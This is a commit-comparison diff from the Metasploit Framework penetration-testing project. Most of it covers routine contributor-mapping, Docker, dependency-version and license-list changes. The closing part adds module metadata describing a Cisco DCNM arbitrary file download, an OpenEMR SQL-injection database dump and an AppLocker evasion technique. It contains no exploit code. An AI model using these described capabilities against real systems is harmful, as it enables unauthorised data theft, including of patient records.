Compare commits
64 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| 5dd6dea733 | |||
| 8138c089fb | |||
| 5c3041645b | |||
| 78e2407502 | |||
| e5bcad3e2a | |||
| e69eb06f75 | |||
| f377766981 | |||
| 04075a23c3 | |||
| 13876e1b23 | |||
| 15d38adfe2 | |||
| ef34f7faf8 | |||
| 9330f21951 | |||
| ba5ee98aa8 | |||
| 05a89df186 | |||
| 42c9b0545f | |||
| e1ac43ccc8 | |||
| 3ceaf997bd | |||
| 869b5472a2 | |||
| a0ca4f69cc | |||
| ce24c56145 | |||
| fc1b66d173 | |||
| 3b6b0667d9 | |||
| 2430aa8c22 | |||
| e62c43442c | |||
| a47cef073c | |||
| b1bee9bdec | |||
| 10aab293a0 | |||
| 1dfccb1d7f | |||
| 3be42c7da1 | |||
| 3daf0fc87c | |||
| 0f3084aa6e | |||
| c978482092 | |||
| 0288034d96 | |||
| a87e2f6b05 | |||
| 0e1b22a09c | |||
| f172c8d5f9 | |||
| e9fb857152 | |||
| c6926e3400 | |||
| 4eae95fb2d | |||
| 04b7ebe446 | |||
| 2e1831b5ee | |||
| fba5c16940 | |||
| 551a161ffa | |||
| f616a024b7 | |||
| 412e98968c | |||
| 93c6b848e4 | |||
| 8ec2cbe67b | |||
| c973834aba | |||
| 9c960f349e | |||
| bc70d76b6e | |||
| 955ce087b5 | |||
| 2ca7012ba9 | |||
| e670e741a5 | |||
| f338ad165a | |||
| 55b6aba7ad | |||
| faa5c7118a | |||
| dfd6539cf2 | |||
| 0b3b732fc6 | |||
| 53367f5fc4 | |||
| b242c34280 | |||
| ef4107b279 | |||
| 763ddf0589 | |||
| b7a570f436 | |||
| afdbf62d50 |
@@ -1,48 +1,29 @@
|
||||
acammack-r7 <acammack-r7@github> <acammack@aus-mbp-1099.aus.rapid7.com>
|
||||
acammack-r7 <acammack-r7@github> <adam_cammack@rapid7.com>
|
||||
acammack-r7 <acammack-r7@github> <Adam_Cammack@rapid7.com>
|
||||
asoto-r7 <asoto-r7@github> <aaron_soto@rapid7.com>
|
||||
bcook-r7 <bcook-r7@github> <bcook@rapid7.com>
|
||||
bcook-r7 <bcook-r7@github> <busterb@gmail.com>
|
||||
bpatterson-r7 <bpatterson-r7@github> <“bpatterson@rapid7.com”>
|
||||
bpatterson-r7 <bpatterson-r7@github> <Brian_Patterson@rapid7.com>
|
||||
bturner-r7 <bturner-r7@github> <brandon_turner@rapid7.com>
|
||||
bwatters-r7 <bwatters-r7@github> <bwatters@rapid7.com>
|
||||
cdoughty-r7 <cdoughty-r7@github> <chris_doughty@rapid7.com>
|
||||
dheiland-r7 <dheiland-r7@github> <dh@layereddefense.com>
|
||||
dmaloney-r7 <dmaloney-r7@github> <David_Maloney@rapid7.com>
|
||||
dmaloney-r7 <dmaloney-r7@github> <DMaloney@rapid7.com>
|
||||
dmohanty-r7 <dmohanty-r7@github> <Dev_Mohanty@rapid7.com>
|
||||
dwelch-r7 <dwelch-r7@github> <dean_welch@rapid7.com>
|
||||
ecarey-r7 <ecarey-r7@github> <e@ipwnstuff.com>
|
||||
egypt <egypt@github> <egypt@metasploit.com> # aka egypt
|
||||
egypt <egypt@github> <james_lee@rapid7.com>
|
||||
jbarnett-r7 <jbarnett-r7@github> <James_Barnett@rapid7.com>
|
||||
jbarnett-r7 <jbarnett-r7@github> <jbarnett@rapid7.com>
|
||||
jhart-r7 <jhart-r7@github> <jon_hart@rapid7.com>
|
||||
jinq102030 <jinq102030@github> <Jin_Qian@rapid7.com>
|
||||
jinq102030 <jinq102030@github> <jqian@rapid7.com>
|
||||
jmartin-r7 <jmartin-r7@github> <Jeffrey_Martin@rapid7.com>
|
||||
kgray-r7 <kgray-r7@github> <kyle_gray@rapid7.com>
|
||||
khayes-r7 <khayes-r7@github> <Kirk_Hayes@rapid7.com>
|
||||
lsanchez-r7 <lsanchez-r7@github> <lance@aus-mac-1041.aus.rapid7.com>
|
||||
lsanchez-r7 <lsanchez-r7@github> <lance@AUS-MAC-1041.local>
|
||||
lsanchez-r7 <lsanchez-r7@github> <lance.sanchez+github@gmail.com>
|
||||
lsanchez-r7 <lsanchez-r7@github> <lance.sanchez@gmail.com>
|
||||
lsanchez-r7 <lsanchez-r7@github> <lance.sanchez@rapid7.com>
|
||||
lsato-r7 <lsato-r7@github> <lsato@rapid7.com>
|
||||
lvarela-r7 <lvarela-r7@github> <“leonardo_varela@rapid7.com”>
|
||||
mkienow-r7 <mkienow-r7@github> <matthew_kienow@rapid7.com>
|
||||
pbarry-r7 <pbarry-r7@github> <pearce_barry@rapid7.com>
|
||||
pdeardorff-r7 <pdeardorff-r7@github> <paul_deardorff@rapid7.com>
|
||||
pdeardorff-r7 <pdeardorff-r7@github> <Paul_Deardorff@rapid7.com>
|
||||
sdavis-r7 <sdavis-r7@github> <scott_davis@rapid7.com>
|
||||
sdavis-r7 <sdavis-r7@github> <Scott_Davis@rapid7.com>
|
||||
sdavis-r7 <sdavis-r7@github> <sdavis@rapid7.com>
|
||||
sgonzalez-r7 <sgonzalez-r7@github> <sgonzalez@rapid7.com>
|
||||
sgonzalez-r7 <sgonzalez-r7@github> <sonny_gonzalez@rapid7.com>
|
||||
shuckins-r7 <shuckins-r7@github> <samuel_huckins@rapid7.com>
|
||||
space-r7 <space-r7@github> <shelby_pace@rapid7.com>
|
||||
tatanus <tatanus@github> <adam_compton@rapid7.com>
|
||||
tdoan-r7 <tdoan-r7@github> <thao_doan@rapid7.com>
|
||||
todb-r7 <todb-r7@github> <tod_beardsley@rapid7.com>
|
||||
todb-r7 <todb-r7@github> <todb@metasploit.com>
|
||||
@@ -53,7 +34,6 @@ wvu-r7 <wvu-r7@github> <William_Vu@rapid7.com>
|
||||
wvu-r7 <wvu-r7@github> <wvu@cs.nmt.edu>
|
||||
wvu-r7 <wvu-r7@github> <wvu@metasploit.com>
|
||||
wwalker-r7 <wwalker-r7@github> <wyatt_walker@rapid7.com>
|
||||
wwebb-r7 <wwebb-r7@github> <William_Webb@rapid7.com>
|
||||
|
||||
# Above this line are current Rapid7 employees. Below this paragraph are
|
||||
# volunteers, former employees, and potential Rapid7 employees who, at
|
||||
@@ -62,9 +42,12 @@ wwebb-r7 <wwebb-r7@github> <William_Webb@rapid7.com>
|
||||
# periodically. If you're on this list and would like to not be, just
|
||||
# let todb@metasploit.com know.
|
||||
|
||||
asoto-r7 <asoto-r7@github> <aaron_soto@rapid7.com>
|
||||
bannedit <bannedit@github> David Rude <bannedit0@gmail.com>
|
||||
bcoles <bcoles@github> bcoles <bcoles@gmail.com>
|
||||
bokojan <bokojan@github> parzamendi-r7 <peter_arzamendi@rapid7.com>
|
||||
bpatterson-r7 <bpatterson-r7@github> <bpatterson@rapid7.com>
|
||||
bpatterson-r7 <bpatterson-r7@github> <Brian_Patterson@rapid7.com>
|
||||
brandonprry <brandonprry@github> <bperry@brandons-mbp.attlocal.net>
|
||||
brandonprry <brandonprry@github> Brandon Perry <bperry@bperry-rapid7.(none)>
|
||||
brandonprry <brandonprry@github> Brandon Perry <bperry.volatile@gmail.com>
|
||||
@@ -83,8 +66,13 @@ corelanc0d3r <corelanc0d3r@github> Peter Van Eeckhoutte (corelanc0d3r) <pete
|
||||
crcatala <crcatala@github> Christian Catalan <ccatalan@rapid7.com>
|
||||
darkoperator <darkoperator@github> Carlos Perez <carlos_perez@darkoperator.com>
|
||||
DanielRTeixeira <DanielRTeixeira@github> Daniel Teixeira <danieljcrteixeira@gmail.com>
|
||||
dmaloney-r7 <dmaloney-r7@github> <David_Maloney@rapid7.com>
|
||||
dmaloney-r7 <dmaloney-r7@github> <DMaloney@rapid7.com>
|
||||
dmohanty-r7 <dmohanty-r7@github> <Dev_Mohanty@rapid7.com>
|
||||
efraintorres <efraintorres@github> efraintorres <etlownoise@gmail.com>
|
||||
efraintorres <efraintorres@github> et <>
|
||||
egypt <egypt@github> <egypt@metasploit.com> # aka egypt
|
||||
egypt <egypt@github> <james_lee@rapid7.com>
|
||||
espreto <espreto@github> <robertoespreto@gmail.com>
|
||||
fab <fab@???> fab <> # fab at revhosts.net (Fabrice MOURRON)
|
||||
farias-r7 <farias-r7@github> <fernando_arias@rapid7.com>
|
||||
@@ -110,6 +98,7 @@ jcran <jcran@github> <jcran@rapid7.com>
|
||||
jduck <jduck@github> <github.jdrake@qoop.org>
|
||||
jduck <jduck@github> <jdrake@qoop.org>
|
||||
jgor <jgor@github> jgor <jgor@indiecom.org>
|
||||
jhart-r7 <jhart-r7@github> <jon_hart@rapid7.com>
|
||||
joevennix <joevennix@github> Joe Vennix <joevennix@gmail.com>
|
||||
joevennix <joevennix@github> <Joe_Vennix@rapid7.com>
|
||||
joevennix <joevennix@github> <joev@metasploit.com>
|
||||
@@ -119,9 +108,15 @@ juanvazquez <juanvazquez@github> jvazquez-r7 <juan_vazquez@rapid7.com>
|
||||
kernelsmith <kernelsmith@github> Joshua Smith <kernelsmith@kernelsmith.com>
|
||||
kernelsmith <kernelsmith@github> Joshua Smith <kernelsmith@metasploit.com>
|
||||
kernelsmith <kernelsmith@github> kernelsmith <kernelsmith@kernelsmith>
|
||||
kgray-r7 <kgray-r7@github> <kyle_gray@rapid7.com>
|
||||
kost <kost@github> Vlatko Kosturjak <kost@linux.hr>
|
||||
kris <kris@???> kris <>
|
||||
KronicDeth <KronicDeth@github> Luke Imhoff <luke_imhoff@rapid7.com>
|
||||
lsanchez-r7 <lsanchez-r7@github> <lance@aus-mac-1041.aus.rapid7.com>
|
||||
lsanchez-r7 <lsanchez-r7@github> <lance@AUS-MAC-1041.local>
|
||||
lsanchez-r7 <lsanchez-r7@github> <lance.sanchez+github@gmail.com>
|
||||
lsanchez-r7 <lsanchez-r7@github> <lance.sanchez@gmail.com>
|
||||
lsanchez-r7 <lsanchez-r7@github> <lance.sanchez@rapid7.com>
|
||||
m-1-k-3 <m-1-k-3@github> m-1-k-3 <github@s3cur1ty.de>
|
||||
m-1-k-3 <m-1-k-3@github> m-1-k-3 <m1k3@s3cur1ty.de>
|
||||
m-1-k-3 <m-1-k-3@github> m-1-k-3 <michael.messner@integralis.com>
|
||||
@@ -151,12 +146,16 @@ rwhitcroft <rwhitcroft@github> <rwhitcroft@users.noreply.github.com>
|
||||
schierlm <schierlm@github> Michael Schierl <schierlm@gmx.de> # Aka mihi
|
||||
scriptjunkie <scriptjunkie@github> Matt Weeks <scriptjunkie@scriptjunkie.us>
|
||||
scriptjunkie <scriptjunkie@github> scriptjunkie <scriptjunkie@scriptjunkie.us>
|
||||
sdavis-r7 <sdavis-r7@github> <scott_davis@rapid7.com>
|
||||
sdavis-r7 <sdavis-r7@github> <Scott_Davis@rapid7.com>
|
||||
sdavis-r7 <sdavis-r7@github> <sdavis@rapid7.com>
|
||||
skape <skape@???> Matt Miller <mmiller@hick.org>
|
||||
spoonm <spoonm@github> Spoon M <spoonm@gmail.com>
|
||||
stufus <stufus@github> Stuart Morgan <stuart.morgan@mwrinfosecurity.com>
|
||||
stufus <stufus@github> Stuart <stufus@users.noreply.github.com>
|
||||
swtornio <swtornio@github> Steve Tornio <swtornio@gmail.com>
|
||||
Tasos Laskos <Tasos_Laskos@rapid7.com> Tasos Laskos <Tasos_Laskos@rapid7.com>
|
||||
tatanus <tatanus@github> <adam_compton@rapid7.com>
|
||||
techpeace <techpeace@github> Matt Buck <Matthew_Buck@rapid7.com>
|
||||
techpeace <techpeace@github> Matt Buck <techpeace@gmail.com>
|
||||
timwr <timwr@github> <timrlw@gmail.com>
|
||||
@@ -164,6 +163,7 @@ TomSellers <TomSellers@github> Tom Sellers <tom@fadedcode.net>
|
||||
trevrosen <trevrosen@github> Trevor Rosen <trevor@catapult-creative.com>
|
||||
trevrosen <trevrosen@github> Trevor Rosen <Trevor_Rosen@rapid7.com>
|
||||
TrustedSec <davek@trustedsec.com> trustedsec <davek@trustedsec.com>
|
||||
wwebb-r7 <wwebb-r7@github> <William_Webb@rapid7.com>
|
||||
void-in <void-in@github> void_in <root@localhost.localdomain>
|
||||
void-in <void-in@github> void-in <root@localhost.localdomain>
|
||||
void-in <void-in@github> <void-in@users.noreply.github.com>
|
||||
|
||||
+5
-2
@@ -51,8 +51,11 @@ RUN apk add --no-cache bash sqlite-libs nmap nmap-scripts nmap-nselibs postgresq
|
||||
RUN /usr/sbin/setcap cap_net_raw,cap_net_bind_service=+eip $(which ruby)
|
||||
RUN /usr/sbin/setcap cap_net_raw,cap_net_bind_service=+eip $(which nmap)
|
||||
|
||||
COPY --chown=root:metasploit --from=builder /usr/local/bundle /usr/local/bundle
|
||||
COPY --chown=root:metasploit . $APP_HOME/
|
||||
COPY --from=builder /usr/local/bundle /usr/local/bundle
|
||||
RUN chown -R root:metasploit /usr/local/bundle
|
||||
COPY . $APP_HOME/
|
||||
RUN chown -R root:metasploit $APP_HOME/
|
||||
RUN chmod 664 $APP_HOME/Gemfile.lock
|
||||
RUN cp -f $APP_HOME/docker/database.yml $APP_HOME/config/database.yml
|
||||
|
||||
WORKDIR $APP_HOME
|
||||
|
||||
+12
-12
@@ -1,7 +1,7 @@
|
||||
PATH
|
||||
remote: .
|
||||
specs:
|
||||
metasploit-framework (4.17.76)
|
||||
metasploit-framework (4.17.83)
|
||||
actionpack (~> 4.2.6)
|
||||
activerecord (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
@@ -20,7 +20,7 @@ PATH
|
||||
metasploit-concern
|
||||
metasploit-credential (< 3.0.0)
|
||||
metasploit-model
|
||||
metasploit-payloads (= 1.3.70)
|
||||
metasploit-payloads (= 1.3.77)
|
||||
metasploit_data_models (< 3.0.0)
|
||||
metasploit_payloads-mettle (= 0.5.16)
|
||||
mqtt
|
||||
@@ -55,7 +55,7 @@ PATH
|
||||
rex-random_identifier
|
||||
rex-registry
|
||||
rex-rop_builder
|
||||
rex-socket (= 0.1.17)
|
||||
rex-socket
|
||||
rex-sslscan
|
||||
rex-struct2
|
||||
rex-text
|
||||
@@ -101,8 +101,8 @@ GEM
|
||||
minitest (~> 5.1)
|
||||
thread_safe (~> 0.3, >= 0.3.4)
|
||||
tzinfo (~> 1.1)
|
||||
addressable (2.6.0)
|
||||
public_suffix (>= 2.0.2, < 4.0)
|
||||
addressable (2.7.0)
|
||||
public_suffix (>= 2.0.2, < 5.0)
|
||||
afm (0.2.2)
|
||||
arel (6.0.4)
|
||||
arel-helpers (2.10.0)
|
||||
@@ -127,7 +127,7 @@ GEM
|
||||
factory_girl_rails (4.9.0)
|
||||
factory_girl (~> 4.9.0)
|
||||
railties (>= 3.0.0)
|
||||
faker (2.1.2)
|
||||
faker (2.2.1)
|
||||
i18n (>= 0.8)
|
||||
faraday (0.15.4)
|
||||
multipart-post (>= 1.2, < 3)
|
||||
@@ -160,7 +160,7 @@ GEM
|
||||
activemodel (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
railties (~> 4.2.6)
|
||||
metasploit-payloads (1.3.70)
|
||||
metasploit-payloads (1.3.77)
|
||||
metasploit_data_models (2.0.17)
|
||||
activerecord (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
@@ -207,7 +207,7 @@ GEM
|
||||
pry (0.12.2)
|
||||
coderay (~> 1.1.0)
|
||||
method_source (~> 0.9.0)
|
||||
public_suffix (3.1.1)
|
||||
public_suffix (4.0.1)
|
||||
rack (1.6.11)
|
||||
rack-test (0.6.3)
|
||||
rack (>= 1.0)
|
||||
@@ -265,14 +265,14 @@ GEM
|
||||
metasm
|
||||
rex-core
|
||||
rex-text
|
||||
rex-socket (0.1.17)
|
||||
rex-socket (0.1.20)
|
||||
rex-core
|
||||
rex-sslscan (0.1.5)
|
||||
rex-core
|
||||
rex-socket
|
||||
rex-text
|
||||
rex-struct2 (0.1.2)
|
||||
rex-text (0.2.22)
|
||||
rex-text (0.2.24)
|
||||
rex-zip (0.1.3)
|
||||
rex-text
|
||||
rkelly-remix (0.0.7)
|
||||
@@ -306,7 +306,7 @@ GEM
|
||||
rubyntlm
|
||||
windows_error
|
||||
rubyntlm (0.6.2)
|
||||
rubyzip (1.2.3)
|
||||
rubyzip (1.2.4)
|
||||
sawyer (0.8.2)
|
||||
addressable (>= 2.3.5)
|
||||
faraday (> 0.8, < 2.0)
|
||||
@@ -323,7 +323,7 @@ GEM
|
||||
ttfunk (1.5.1)
|
||||
tzinfo (1.2.5)
|
||||
thread_safe (~> 0.1)
|
||||
tzinfo-data (1.2019.2)
|
||||
tzinfo-data (1.2019.3)
|
||||
tzinfo (>= 1.0.0)
|
||||
windows_error (0.1.2)
|
||||
xdr (2.0.0)
|
||||
|
||||
+9
-9
@@ -5,7 +5,7 @@ actionview, 4.2.11.1, MIT
|
||||
activemodel, 4.2.11.1, MIT
|
||||
activerecord, 4.2.11.1, MIT
|
||||
activesupport, 4.2.11.1, MIT
|
||||
addressable, 2.6.0, "Apache 2.0"
|
||||
addressable, 2.7.0, "Apache 2.0"
|
||||
afm, 0.2.2, MIT
|
||||
arel, 6.0.4, MIT
|
||||
arel-helpers, 2.10.0, MIT
|
||||
@@ -26,7 +26,7 @@ ed25519, 1.2.4, MIT
|
||||
erubis, 2.7.0, MIT
|
||||
factory_girl, 4.9.0, MIT
|
||||
factory_girl_rails, 4.9.0, MIT
|
||||
faker, 2.1.2, MIT
|
||||
faker, 2.2.1, MIT
|
||||
faraday, 0.15.4, MIT
|
||||
filesize, 0.2.0, MIT
|
||||
fivemat, 1.3.7, MIT
|
||||
@@ -38,9 +38,9 @@ loofah, 2.2.3, MIT
|
||||
metasm, 1.0.4, LGPL-2.1
|
||||
metasploit-concern, 2.0.5, "New BSD"
|
||||
metasploit-credential, 2.0.14, "New BSD"
|
||||
metasploit-framework, 4.17.76, "New BSD"
|
||||
metasploit-framework, 4.17.83, "New BSD"
|
||||
metasploit-model, 2.0.4, "New BSD"
|
||||
metasploit-payloads, 1.3.70, "3-clause (or ""modified"") BSD"
|
||||
metasploit-payloads, 1.3.77, "3-clause (or ""modified"") BSD"
|
||||
metasploit_data_models, 2.0.17, "New BSD"
|
||||
metasploit_payloads-mettle, 0.5.16, "3-clause (or ""modified"") BSD"
|
||||
method_source, 0.9.2, MIT
|
||||
@@ -65,7 +65,7 @@ pg, 0.21.0, "New BSD"
|
||||
pg_array_parser, 0.0.9, unknown
|
||||
postgres_ext, 3.0.1, MIT
|
||||
pry, 0.12.2, MIT
|
||||
public_suffix, 3.1.1, MIT
|
||||
public_suffix, 4.0.1, MIT
|
||||
rack, 1.6.11, MIT
|
||||
rack-test, 0.6.3, MIT
|
||||
rails-deprecated_sanitizer, 1.0.3, MIT
|
||||
@@ -89,10 +89,10 @@ rex-powershell, 0.1.82, "New BSD"
|
||||
rex-random_identifier, 0.1.4, "New BSD"
|
||||
rex-registry, 0.1.3, "New BSD"
|
||||
rex-rop_builder, 0.1.3, "New BSD"
|
||||
rex-socket, 0.1.17, "New BSD"
|
||||
rex-socket, 0.1.20, "New BSD"
|
||||
rex-sslscan, 0.1.5, "New BSD"
|
||||
rex-struct2, 0.1.2, "New BSD"
|
||||
rex-text, 0.2.22, "New BSD"
|
||||
rex-text, 0.2.23, "New BSD"
|
||||
rex-zip, 0.1.3, "New BSD"
|
||||
rkelly-remix, 0.0.7, MIT
|
||||
rspec, 3.8.0, MIT
|
||||
@@ -106,7 +106,7 @@ ruby-macho, 2.2.0, MIT
|
||||
ruby-rc4, 0.1.5, MIT
|
||||
ruby_smb, 1.1.0, "New BSD"
|
||||
rubyntlm, 0.6.2, MIT
|
||||
rubyzip, 1.2.3, "Simplified BSD"
|
||||
rubyzip, 1.2.4, "Simplified BSD"
|
||||
sawyer, 0.8.2, MIT
|
||||
simplecov, 0.17.0, MIT
|
||||
simplecov-html, 0.10.2, MIT
|
||||
@@ -117,7 +117,7 @@ thread_safe, 0.3.6, "Apache 2.0"
|
||||
timecop, 0.9.1, MIT
|
||||
ttfunk, 1.5.1, "Nonstandard, GPL-2.0, GPL-3.0"
|
||||
tzinfo, 1.2.5, MIT
|
||||
tzinfo-data, 1.2019.2, MIT
|
||||
tzinfo-data, 1.2019.3, MIT
|
||||
windows_error, 0.1.2, BSD
|
||||
xdr, 2.0.0, "Apache 2.0"
|
||||
xmlrpc, 0.3.0, ruby
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
Metasploit [](https://travis-ci.org/rapid7/metasploit-framework) [](https://codeclimate.com/github/rapid7/metasploit-framework) [](https://hub.docker.com/r/metasploitframework/metasploit-framework/)
|
||||
Metasploit [](https://travis-ci.org/rapid7/metasploit-framework) [](https://codeclimate.com/github/rapid7/metasploit-framework/maintainability) [](https://codeclimate.com/github/rapid7/metasploit-framework/test_coverage) [](https://hub.docker.com/r/metasploitframework/metasploit-framework/)
|
||||
==
|
||||
The Metasploit Framework is released under a BSD-style license. See
|
||||
COPYING for more details.
|
||||
|
||||
@@ -1,3 +1,4 @@
|
||||
require File.expand_path('../rails_bigdecimal_fix', __FILE__)
|
||||
require 'rails'
|
||||
require File.expand_path('../boot', __FILE__)
|
||||
|
||||
|
||||
+2
-12
@@ -9,6 +9,8 @@ GEMFILE_EXTENSIONS = [
|
||||
msfenv_real_pathname = Pathname.new(__FILE__).realpath
|
||||
root = msfenv_real_pathname.parent.parent
|
||||
|
||||
require File.expand_path('../rails_bigdecimal_fix', __FILE__)
|
||||
|
||||
unless ENV['BUNDLE_GEMFILE']
|
||||
require 'pathname'
|
||||
|
||||
@@ -22,18 +24,6 @@ unless ENV['BUNDLE_GEMFILE']
|
||||
end
|
||||
end
|
||||
|
||||
# Remove bigdecimal warning - start
|
||||
# https://github.com/ruby/bigdecimal/pull/115
|
||||
# https://github.com/rapid7/metasploit-framework/pull/11184#issuecomment-461971266
|
||||
# TODO: remove when upgrading from rails 4.x
|
||||
require 'bigdecimal'
|
||||
|
||||
def BigDecimal.new(*args, **kwargs)
|
||||
return BigDecimal(*args) if kwargs.empty?
|
||||
BigDecimal(*args, **kwargs)
|
||||
end
|
||||
# Remove bigdecimal warning - end
|
||||
|
||||
begin
|
||||
require 'bundler/setup'
|
||||
rescue LoadError => e
|
||||
|
||||
@@ -0,0 +1,11 @@
|
||||
# Remove bigdecimal warning - start
|
||||
# https://github.com/ruby/bigdecimal/pull/115
|
||||
# https://github.com/rapid7/metasploit-framework/pull/11184#issuecomment-461971266
|
||||
# TODO: remove when upgrading from rails 4.x
|
||||
require 'bigdecimal'
|
||||
|
||||
def BigDecimal.new(*args, **kwargs)
|
||||
return BigDecimal(*args) if kwargs.empty?
|
||||
BigDecimal(*args, **kwargs)
|
||||
end
|
||||
# Remove bigdecimal warning - end
|
||||
+989
-218
@@ -483,6 +483,57 @@
|
||||
},
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"auxiliary_admin/cisco/cisco_dcnm_download": {
|
||||
"name": "Cisco Data Center Network Manager Unauthenticated File Download",
|
||||
"fullname": "auxiliary/admin/cisco/cisco_dcnm_download",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": "2019-06-26",
|
||||
"type": "auxiliary",
|
||||
"author": [
|
||||
"Pedro Ribeiro <pedrib@gmail.com>"
|
||||
],
|
||||
"description": "DCNM exposes a servlet to download files on /fm/downloadServlet.\n An authenticated user can abuse this servlet to download arbitrary files as root by specifying\n the full path of the file.\n This module was tested on the DCNM Linux virtual appliance 10.4(2), 11.0(1) and 11.1(1), and should\n work on a few versions below 10.4(2). Only version 11.0(1) requires authentication to exploit\n (see References to understand why).",
|
||||
"references": [
|
||||
"CVE-2019-1619",
|
||||
"CVE-2019-1621",
|
||||
"URL-https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-bypass",
|
||||
"URL-https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-file-dwnld",
|
||||
"URL-https://raw.githubusercontent.com/pedrib/PoC/master/exploits/metasploit/cisco_dcnm_download.rb",
|
||||
"URL-https://seclists.org/fulldisclosure/2019/Jul/7"
|
||||
],
|
||||
"platform": "",
|
||||
"arch": "",
|
||||
"rport": 443,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2019-08-29 12:15:20 +0000",
|
||||
"path": "/modules/auxiliary/admin/cisco/cisco_dcnm_download.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "admin/cisco/cisco_dcnm_download",
|
||||
"check": false,
|
||||
"post_auth": true,
|
||||
"default_credential": true,
|
||||
"notes": {
|
||||
},
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"auxiliary_admin/cisco/cisco_secure_acs_bypass": {
|
||||
"name": "Cisco Secure ACS Unauthorized Password Change",
|
||||
"fullname": "auxiliary/admin/cisco/cisco_secure_acs_bypass",
|
||||
@@ -18352,7 +18403,7 @@
|
||||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2017-07-24 06:26:21 +0000",
|
||||
"mod_time": "2019-09-01 18:51:13 +0000",
|
||||
"path": "/modules/auxiliary/parser/unattend.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "parser/unattend",
|
||||
@@ -25546,6 +25597,7 @@
|
||||
"description": "This module queries the JBoss status servlet to collect sensitive\n information, including URL paths, GET parameters and client IP addresses.\n This module has been tested against JBoss 4.0, 4.2.2 and 4.2.3.",
|
||||
"references": [
|
||||
"CVE-2008-3273",
|
||||
"CVE-2010-1429",
|
||||
"URL-https://seclists.org/fulldisclosure/2011/Sep/139",
|
||||
"URL-https://www.owasp.org/images/a/a9/OWASP3011_Luca.pdf",
|
||||
"URL-http://www.slideshare.net/chrisgates/lares-fromlowtopwned"
|
||||
@@ -25569,7 +25621,7 @@
|
||||
"https"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2018-09-15 18:54:45 +0000",
|
||||
"mod_time": "2019-09-11 14:05:21 +0000",
|
||||
"path": "/modules/auxiliary/scanner/http/jboss_status.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/http/jboss_status",
|
||||
@@ -25595,7 +25647,10 @@
|
||||
],
|
||||
"description": "This module scans a JBoss instance for a few vulnerabilities.",
|
||||
"references": [
|
||||
"CVE-2008-3273",
|
||||
"CVE-2010-1429",
|
||||
"CVE-2010-0738",
|
||||
"CVE-2010-1428",
|
||||
"CVE-2017-12149"
|
||||
],
|
||||
"platform": "",
|
||||
@@ -25617,7 +25672,7 @@
|
||||
"https"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2019-02-13 16:10:32 +0000",
|
||||
"mod_time": "2019-09-11 14:05:21 +0000",
|
||||
"path": "/modules/auxiliary/scanner/http/jboss_vulnscan.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/http/jboss_vulnscan",
|
||||
@@ -45249,6 +45304,53 @@
|
||||
},
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"auxiliary_sqli/openemr/openemr_sqli_dump": {
|
||||
"name": "OpenEMR 5.0.1 Patch 6 SQLi Dump",
|
||||
"fullname": "auxiliary/sqli/openemr/openemr_sqli_dump",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": "2019-05-17",
|
||||
"type": "auxiliary",
|
||||
"author": [
|
||||
"Will Porter <will.porter@lodestonesecurity.com>"
|
||||
],
|
||||
"description": "This module exploits a SQLi vulnerability found in\n OpenEMR version 5.0.1 Patch 6 and lower. The\n vulnerability allows the contents of the entire\n database (with exception of log and task tables) to be\n extracted.\n This module saves each table as a `.csv` file in your\n loot directory and has been tested with\n OpenEMR 5.0.1 (3).",
|
||||
"references": [
|
||||
"CVE-2018-17179",
|
||||
"URL-https://github.com/openemr/openemr/commit/3e22d11c7175c1ebbf3d862545ce6fee18f70617"
|
||||
],
|
||||
"platform": "",
|
||||
"arch": "",
|
||||
"rport": 80,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2019-09-11 15:56:46 +0000",
|
||||
"path": "/modules/auxiliary/sqli/openemr/openemr_sqli_dump.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "sqli/openemr/openemr_sqli_dump",
|
||||
"check": true,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"auxiliary_sqli/oracle/dbms_cdc_ipublish": {
|
||||
"name": "Oracle DB SQL Injection via SYS.DBMS_CDC_IPUBLISH.ALTER_HOTLOG_INTERNAL_CSOURCE",
|
||||
"fullname": "auxiliary/sqli/oracle/dbms_cdc_ipublish",
|
||||
@@ -47932,6 +48034,114 @@
|
||||
},
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"evasion_windows/applocker_evasion_presentationhost": {
|
||||
"name": "Applocker Evasion - Windows Presentation Foundation Host",
|
||||
"fullname": "evasion/windows/applocker_evasion_presentationhost",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "evasion",
|
||||
"author": [
|
||||
"Nick Tyrer <@NickTyrer>",
|
||||
"Casey Smith"
|
||||
],
|
||||
